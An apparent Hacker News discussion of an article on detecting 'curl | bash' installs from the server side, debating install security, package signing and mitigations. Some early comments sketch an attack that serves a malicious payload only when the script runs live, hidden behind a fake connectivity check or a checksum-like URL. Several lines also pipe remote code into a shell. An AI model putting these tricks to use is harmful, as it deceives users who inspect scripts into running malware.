
Detecting the use of "curl | bash" server-side - rubyn00bie
https://www.idontplaydarts.com/2016/04/detecting-curl-pipe-bash-server-side/
======
charleslmunger
The sleep cleverness is excessive though - what you really want to know is if
the script you're returning is being executed as it's sent. If it is, then you
can be pretty confident that a human isn't reading it line by line.

1\. Send your response as transfer-encoding: chunked and tcp_nodelay

2\. Send the first command as

    
    
        curl www.example.com/$unique_id
    

Then the server waits before sending the next command - if it gets the ping
from the script, we know that whatever is executing the script is running the
commands as they're sent, and is therefore unlikely to be read by a human
before the next command runs. If it doesn't ping within a second or so,
proceed with the innocent payload.

For extra evil deniability, structure your malicious payload as a substring of
a plausibly valid sequence of commands - then simply hang the socket partway
through. Future investigation will make it look like a network issue.

~~~
Evan-Purkhiser
You could even get more clever with this you could drop the unique_id and just
match up the remote host IP. You could probably even disguise the command as
something like a "network connectivity test" in the script.

    
    
        # Check network connectivity so we can continue the install
        if ! curl --fail www.example.com; then exit; fi
    

Of course, what actually is happening is that we've just informed the server
to now serve our malicious code.

~~~
charleslmunger
Remote host IP isn't ideal because of NAT (request from another host on the
network exposes your malfeasance), or if your target may be using something
like TOR (two requests might have differing remote IPs). But there's a bunch
of tricks to get unique info out of a network request that you control the
parameters to. Presumably there aren't that many concurrent invocations of
your script, so only a few bits of entropy are actually required. Best way is
probably to have a bunch of domains and make it look like they're various
mirrors you're downloading binaries from - then it's not suspicious that it
changes for different machines or requests.

~~~
fragmede
If binaries are being downloaded, then the dynamically generated malicious
script could pretend it's a checksum when really it's a unique tracking URL.

    
    
        curl www.example.com/downloads/fooprogram/builds/D41D8CD98F00B204E9800998ECF8427E.tgz
    

If the time between the script being downloaded and that file being requested
is large, serve the clean copy, else download the malicious binary.

------
michaelmior
On the evading detection side, one other simple way to avoid this is to add
sponge[0] between curl and bash in the pipeline, i.e. curl ... | sponge |
bash. sponge consumes all input until EOF before outputting anything, stopping
bash from executing a partially downloaded script.

[0] [https://linux.die.net/man/1/sponge](https://linux.die.net/man/1/sponge)

~~~
skunkworker
If you're on a Mac or a system that doesn't have sponge installed by default,
use moreutils to install.

[https://joeyh.name/code/moreutils/](https://joeyh.name/code/moreutils/)
[https://rentes.github.io/unix/utilities/2015/07/27/moreutils...](https://rentes.github.io/unix/utilities/2015/07/27/moreutils-
package/)

~~~
mehrdadn
Thanks, this is helpful!

------
Waterluvian
So yes, curl bash can be dangerous. But it's just so darn convenient. And when
it's coming from a very prominent trusted source like for Get Pip or Amazon
AWS it's hard not to just go with.

Surely there's some compromise middle ground? Let me download "safe-curl-bash"
(scb) that only runs a script if it's trusted in some manner? Maybe the
checksum matches from a crowdsourced database.

"Sorry only 9 people have declared this script valid and your threshold is
100. Here's a cat of the script and we will ask you if it looks valid or not
or don't know."

I also think it's a bit more realistic than the, "anyone who does this should
be reading the script first to check that it's safe." Yes, and I check the
passenger jet for flaws before I board, too!

Just spitballing.

~~~
smacktoward
_> Yes, and I check the passenger jet for flaws before I board, too!_

There is an entire infrastructure of people and processes in place to make
sure that you _don 't have_ to check your passenger jet for flaws to be
reasonably sure it's safe. No such infrastructure exists to protect you from
the consequences of curl-bashing software off some random Web site.

~~~
Spivak
If you're installing software off _some random website_ then you're already
hosed no matter what the install process looks like.

Say you already trust the website you're downloading from, is there an
increased security risk doing curl | bash as compared to rpm --import
[https://example.com/RPM-GPG-EXAMPLE](https://example.com/RPM-GPG-EXAMPLE) &&
yum install [https://example.com/example.rpm](https://example.com/example.rpm)

No matter what you're putting 100% faith in the the server and the TLS
connection. There are a lot of reasons to prefer packages, but I don't think
security is one of them.

~~~
fragmede
Security _is_ one of them.

When RPM-GPG-EXAMPLE and example.rpm are both coming from
[https://example.com](https://example.com) it's less clear. When example.com
is coming from a mirror repository, or being emailed around (yes, this
happens), package signing asserts that example.rpm was signed by the
signatures in RPM-GPG-EXAMPLE, which has a strong (but not bullet-proof)
connection as being built by example.com.

From that example, we can see that package signing also protects from someone
who's able to break into the main example.com webserver but not example.com's
build system - if the attackers did not get into the build system and
example.rpm has a valid signature then despite the webserver being broken, the
rpm file can still be trusted, assuming the webserver did not have a copy of
the private key used for build signing. If we loaded [https://example.com/RPM-
GPG-EXAMPLE](https://example.com/RPM-GPG-EXAMPLE) _before_ the webserver was
broken into, and then the webserver was broken into and a malicious RPM-GPG-
EXAMPLE and example.rpm were uploaded, it would be noticed. (Examining changes
to RPM-GPG-EXAMPLE are, unfortunately, left to the reader as an exercise.)

Still, while it's true that loading the file from [https://example.com/RPM-
GPG-EXAMPLE](https://example.com/RPM-GPG-EXAMPLE) relies on TLS, but there are
methods available to confirm that the file's contents are valid, that don't
rely on TLS, if the security folk at example.com are doing their job.

Finally, TLS is not an all or nothing game. Or rather, the certificate used to
sign the https connection does not have to be blindly trusted, and in the case
of sketchy root certificates, even if
[https://example.com](https://example.com) loads fine in a web browser, it
does not mean it should necessarily be trusted. Certificate Transparency (eg
crt.sh) is a proper lever when working with example.com.

Security is _complicated_ and there are no silver bullets.

`curl | sudo bash` is batshit though.

------
cjbprime
Neat! But it's not obviously a bad idea. You have a TLS connection with the
site you're downloading from. `curl | bash` is no worse than downloading a
.dmg or .deb from the same server would be.

~~~
mikeash
The difference is that you can inspect it before you run it if you download
it. If you pipe it into bash you don’t know what you’re getting, even if you
previously inspected the data provided by that URL.

~~~
staticassertion
I don't feel the need to review the source code for every install script I
run.

I don't read the source code for almost any of the code on my machine today.
In most cases where I see `curl | bash`, I'd probably already be screwed even
if I review it. Most install scripts and up doing "hit website, install thing"
anyways - am I reviewing the second stage install script also?

~~~
mikeash
That’s fair. It’s probably not an _important_ difference.

------
kazinator
You could just have the script detect that its stdin is a pipe. E.g., Linux
specific:

    
    
      $ echo 'ls -l /proc/$$/fd/0' | bash
      lr-x------ 1 kaz kaz 64 Jul 28 21:03 /proc/23814/fd/0 -> pipe:[4307360]
    

Here, our script consists of the ls command; it shows that when we pipe it to
bash, it finds fd0 to be a pipe.

We can make some code conditional on this to produce a "don't run this script
from a pipe" diagnostic.

This is superior to the dodgy, delay-based server side detection because it is
reliable.

Also, it still works when someone does this:

    
    
      $ curl <url> > file
      $ cat file | bash
    

Of course, no protection for

    
    
      $ bash file

~~~
ericpauley
This logic would be detectable to a user who reads the script. The goal here
is to trick users who first inspect the script and then `curl | bash`

~~~
nerdponx
If you downloaded the script to inspect it, why would you not just run the
script that you downloaded?

~~~
chmod775

        curl evil.com
        curl evil.com | bash

~~~
nerdponx

        wget evil.com
        less evil.sh
        bash evil.sh

------
curlpypshellrip
Half the problem with `curl | bash` installation is not related to whether or
not you trust what your downloading...

The more important reason why it is a _horrible_ _stupid_ mechanism for
software installation is that it is not _repeatable_.

It is well understood that casual .deb .rpm usage requires an equivalent level
of trust as downloading anything else off the internet... but they have the
added advantage of being _consistent_ _repeatable_ and _mirrorable_... I can
copy the entire repository of any version of debian I want to my local file
server, and use that to spin up however much infrastructure I want. And the
only person I need to rely on after I have fetched the initial packages is
myself.

~~~
kccqzy
Plenty of those scripts simply detect your operating system and then interact
with the system package manager (adding a new repository, updating the package
index, then asking the package manager to install it).

~~~
curlpypshellrip
I would far prefer that software projects assumed competence in the installers
knowledge of their systems package manager and just listed the specifics...
honestly how hard is it to just say "here is our $gpg key" "here is our
$apt_repo_url" the package name is "$foobar". And let competent system admins
take it from there. Most of the time you end up de-composing the scripts into
ansible/$sys_automation_tool_of_the_week anyhow.

~~~
enos
Because your $apt_repo_url is useless to a yum user.

The package management community needs to stop balkanizing.

How else do you propose releasing software to all Unix-like OSes without
learning a half dozen package manager formats and quirks? Only other choice is
a container.

------
ithkuil
I wish there was a standard way to check a checksum, so that download
instructions could just include that in the snippet to copy paste.

I wrote a tool that could be used like that but it's useless if its not
ubiquitous
([https://github.com/mmikulicic/runck](https://github.com/mmikulicic/runck))

~~~
e12e
Since copy-pasting to the terminal is also unsafe[1], it's not really a
solution...

At any rate - code-signing doesn't really help if the author is the attacker.

[1] [http://thejh.net/misc/website-terminal-copy-
paste](http://thejh.net/misc/website-terminal-copy-paste)

~~~
ithkuil
Sure, but that's harder to hide. Any user could paste somewhere where nothing
gets executed and the expose the hack attempt. Pipe to bash has the
interesting aspect of letting the author inject hacks only to people who are
not looking.

Anyway, the use case for my runck utility is scripts such as dockefiles or CI
automation where I want to download and run installers and I don't want to
reduce the bash boilerplate.

------
z3t4
I always read the code first, but many times there's additional curl > bash
and if I check that url there are yet more curl > bash several layers deep
with branches. And they want me to run this as root ...

------
h000per
Regardless of the installation method it sounds like we need to be running all
applications in their own individual virtual machines (e.g. Qubes OS) or
within a restricted environment with limited permissions (iOS)

~~~
geggam
How do you install the virtual machine software ? Where do you put the trust ?

~~~
taeric
Worse, what happens when I do want the applications to communicate?

An amusing gotcha I found with docker was how do I convince the servers I
communicate with from in the container that I am me? Best bet was to map my
user into the user on the container, but that was actually ridiculously
fraught with trouble. (There is a chance this has since been fixed...)

~~~
chii
> I do want the applications to communicate?

QubeOS adopted the "manual authentication" method (of having to confirm
everything, such as clipboard copy/paste).

This is probably not quite scalable (not to mention annoying). May be there's
some way to have a short session token, so during a work session of a few
hours, it works without any intervention.

~~~
taeric
The problem came when I wanted the app to communicate to another on behalf of
me. Do I have to constantly reconfigure an openid connection for every app on
my machine? (Not the worst of ideas, I suppose...)

------
growthexecutive
> a knowledgable user will most likely check the content first

Really? Are they going to read every line of code and every line of code in
every dependency that the install script installs?

The bash detection is clever but I think its a solution to a problem that
doesn't exist.. Its already very easy to install hide malicious code in plain
sight, why go to all this trouble to detect if the user is piping to bash?

For example, see how easy it is to publish a fake npm package or a .deb
package:

[https://hackernoon.com/im-harvesting-credit-card-numbers-
and...](https://hackernoon.com/im-harvesting-credit-card-numbers-and-
passwords-from-your-site-here-s-how-9a8cb347c5b5)

[https://github.com/ChaitanyaHaritash/kimi](https://github.com/ChaitanyaHaritash/kimi)

------
jwilk
(2016)

Previous discussion:
[https://news.ycombinator.com/item?id=11532599](https://news.ycombinator.com/item?id=11532599)

------
jamescostian
This is immune to the attack:

    
    
        bash -c "$(curl -sSLf $URL)"
    

The key is to download first and then run

~~~
benchaney
Or better yet:

curl $URL

less $FILE

bash $FILE

This attack only works at all if you download something and execute it
immediately without looking at it.

------
dev_dull
The obsession against shell pipes is so absolutely absurd. You’d download a
dmg and drag it to your apps but not shell pipe? You’ll sudo dpkg -i but not a
shell pipe?

Can anyone point to a single case of a shell pipe ever being abused _ever_?

~~~
throwbacktictac
If a tree falls in a forest and no one is around to hear it, does it make a
sound?

I certain that someone has been exploited using shell pipes.

------
homakov
I have proposed a solution to this: have the snippet self-hashed and verify
with multiple sources. eg:

A=$(curl -L [https://get.rvm.io);echo](https://get.rvm.io\);echo) "$A" |
shasum -a 256 | grep -q
05b6b5f164d4df5aa593f9f925806fc1f48c4517daeeb5da66ee49e8562069e1 && (echo
"$A")

------
zimbatm
The main reason to use `curl | bash` is because it's installed almost
everywhere. Everything else can be bootstrapped from that.

If there was a standard `curlbash <URL> <SHA256>` program that was installed
everywhere it would allow to work around all of these issues.

~~~
kazinator
"curl > file ; [...] ; bash file" is also installed in all the same places.

------
xg15
What I leaned in addition to the sleep trick:

> _Execution in bash is performed line by line and so the speed that bash can
> ingest data is limited by the speed of execution of the script._

So even without any clever detection logic, thinking of curl | bash as
"downloading a script, then immediately executing it" is already wrong.

It's more "give this remote host a poor man's shell to my machine and hope
that they will always execute the same sequence of commands on it".

------
lxe
Recent Chrome Canaries show ERR_CERT_SYMANTEC_LEGACY on this host. Gotta
refresh those TSL certificates before September!

------
geggam
Let's say for discussion that we allow this curl| bash process because it is
from a "safe" source.

How do we come back next week and ensure some other process hasn't changed the
files ?

Package your files with a signed system. Auditing the files is trivial after
that.

------
fibo
I use curl and bash to launch a script I wrote to install my versioned home
files, and it is worth to use this method. It depends on what you need, in my
use case is really comfortable. It is a matter of trust.

------
Pawamoy
You could prevent the detection by wrapping contents in a block, so Bash reads
it entirely before evaluating it: `safe_curl() { printf "{\n"; curl "$@";
printf " \n}"; }`

~~~
dTal
Quite a sensible precaution anyway, as network interruption may otherwise
leave you with a partially executed script.

------
rollthehard6
Erm, why not just configure auditd to detect it instead? Though not sure how
widely available that facility is outside of Red Hat.

------
lamby
Shall we call this "Curl rebinding" after "DNS rebinding"? :)

------
Sir_Cmpwn
Why not start with checking the user agent?

~~~
AgentME
The idea is to distinguish between "curl [http://x"](http://x") and "curl
[http://x](http://x) | bash", in order to only give malicious content when the
user pipes it straight to bash (presumably they aren't looking at the content
in this case).

~~~
Sir_Cmpwn
Ah, of course.

------
megaman22
Is there no way to sign scripts with a code signing certificate?

I certainly have to do some hoop jumping to execute the equivalent of curl
|bash on powershell.

~~~
Spivak
(Invoke-WebRequest
[https://example.com/install.ps1](https://example.com/install.ps1)).Content |
Invoke-Expression

